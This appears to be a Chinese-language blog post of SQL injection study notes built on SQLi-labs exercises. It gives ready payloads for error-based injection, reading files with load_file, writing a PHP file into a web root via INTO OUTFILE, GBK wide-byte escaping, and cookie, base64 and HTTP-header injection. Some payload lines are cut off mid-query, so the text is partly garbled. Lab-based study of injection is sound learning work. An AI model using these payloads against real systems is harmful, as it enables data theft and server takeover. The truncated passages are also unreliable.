SQL注入學習(二)
報錯注入的原理,就是在錯誤信息中執(zhí)行SQL 語句。觸發(fā)報錯的方式很多,具體細節(jié)也不盡相同。此處建議直接背公式即可。
@group by (分類聚合)重復鍵沖突【隨機能出現(xiàn)查詢結果】
[?id=33 and (select 1 from (select count(),concat((select version() from information_schema.tables limit 0,1),floor(rand()2))x from information_schema.tables group by x)a) --+]
[?id=33 union select 1,2,concat(left(rand(),3),'^',(select version()),'^')a,count(),5,6,7,8,9,10,11, 12, 13,14,15 from information_schema.tables group by a --+]
[?id=33 and (select 1 from (select count(
2、賬密同理
前提條件:我們也可以利用SQL 注入漏洞讀寫文件。但是讀寫文件需要一定的條件
2、當前用戶具有文件權限
[select File_priv from mysql.user where user="root" and host="localhost"]查詢語句(判斷當前用戶是否具有權限) ?
3、知道要寫入目標文件的絕對路徑
? C:\\Windows\\System32\\drivers\etc\hosts 【雙右斜線】(因為\是轉義字符,所以要加多一個\) ?
C:/Windows/System32/drivers/etc/hostsa 【單左斜線】
讀取文件操作
【?id=-1' union select 1, load_file('C:\Windows\System32\drivers\etc\hosts'), 3 --+ ]】
load_file('') 讀取文件函數(shù)
寫入文件操作
【?id=-33 union select 1, 2,3,4,5,6,7,8,9,10,11,12,13,14,15 into outfile 'E:\phpstudy\www\1.php';】
【?id=-33 union select 1, 2,3,4,5,6,7,8,9,10,'<?php phpinfo();?>',12,13,14,15 into outfile 'E:\phpstudy\www\2.php';】
into outfile ‘xxxxx\xxxx\’ 寫入文件
寬字節(jié)注入
寬字節(jié)注入準確來說不是注入手法,而是另外一種比較特殊的情況。為了說明寬字節(jié)注入問題,我們以SQLi-labs 32 關為例子。
使用[?id=1']進行測試的時候,發(fā)現(xiàn)提交的單引號會被轉移[']。此時,轉義后的單引號不再是字符串的標識,會被作為普通字符帶入數(shù)據(jù)庫查詢。也就是說,我們提交的單引號不會影響到原來SQL 語句的結構。 ?
我們通過閱讀32 關的源碼,發(fā)現(xiàn)幾句非常意思的代碼,如下: ? 此網(wǎng)頁在連接數(shù)據(jù)庫時,會將字符編碼設置為GBK 編碼集合,然后進行SQL 語句拼接,最后進行數(shù)據(jù)庫查詢。 ?
GBK編碼依然采用雙字節(jié)編碼方案,其編碼范圍:8140-FEFE,剔除xx7F碼位,共23940個碼位。共收錄漢字和圖形符號21886個,其中漢字(包括部首和構件)21003個,圖形符號883個。GBK編碼支持國際標準ISO/IEC10646-1和國家標準GB13000-1中的全部中日韓漢字,并包含了BIG5編碼中的所有漢字。GBK編碼方案于1995年12月15日正式發(fā)布,這一版的GBK規(guī)范為1.0版。 ?
轉移字符\ 的編碼是5c,正好在GBK 編碼范圍之內(nèi),也就是說我們可以在單引號之前提交一個十六進制編碼的字符,與5c 組成一個GBK 編碼的漢字。這樣SQL 語句傳入數(shù)據(jù)庫的時候,轉移字符5c ,會被看作GBK 漢字的低位字節(jié)編碼,從而失去轉義的作用。 ?
如果我們提交這樣的參數(shù)[?id=1000%df' union select 1,2,3 --+],就可以使用聯(lián)合查詢進行注入了。【0xdf5c 就是一個漢字"運"】
Cookie注入 ?
Cookie 注入的注入?yún)?shù)需要通過Cookie 提交,可以通過[document.cookie] 在控制臺完成對瀏覽器Cookie 的讀寫。
? 我們使用SQLi-labs 第20 關來說明Cookie 注入問題。來到less-20,在控制臺輸入
? [document.cookie="uname=Dumb' and extractvalue(1,concat(0x7e,database(),0x7e))#"] ? (用BP抓包,報錯注入來實現(xiàn)也可以)
base64 注入 ?
我們以SQLI-labs 第22關來說明base64 注入的問題。 ?
base64 注入也是比較簡單的,只不過將注入字段經(jīng)過base64 編碼。經(jīng)過測試,發(fā)現(xiàn)22 關屬于Cookie 型的base64 注入。
我們可以使用報錯注入手法,payload ? [document.cookie="uname=Dumb" and extractvalue(1,concat(0x7e,database(),0x7e))#"] ?
在控制臺輸入 [document.cookie="uname=RHVtYiIgYW5kIGV4dHJhY3R2YWx1ZSgxLGNvbmNhdCgweDdlLGRhdGFiYXNlKCksMHg3ZSkpIw=="]
HTTP 頭部注入 ?
http 頭部注入就是指注入字段在HTTP 頭部的字段中,這些字段通常有User-Agent、Referer 等。 ?
@User-Agent 注入 ? 如SQLi-labs 第18 關。
? payload ? [User-Agent:hacker' and updatexml(1,concat(0x7e,database(),0x7e),1) and '1'='1] ?
@Referer 注入 ? 第19 關,注入字段在Referer 中 ?
[hacker' and updatexml(1,concat(0x7e,database(),0x7e),1) and '1'='1]
如果有錯誤的地方,就在下面留言給我,我看到后會及時更正的啦~謝謝各位

浙公網(wǎng)安備 33010602011771號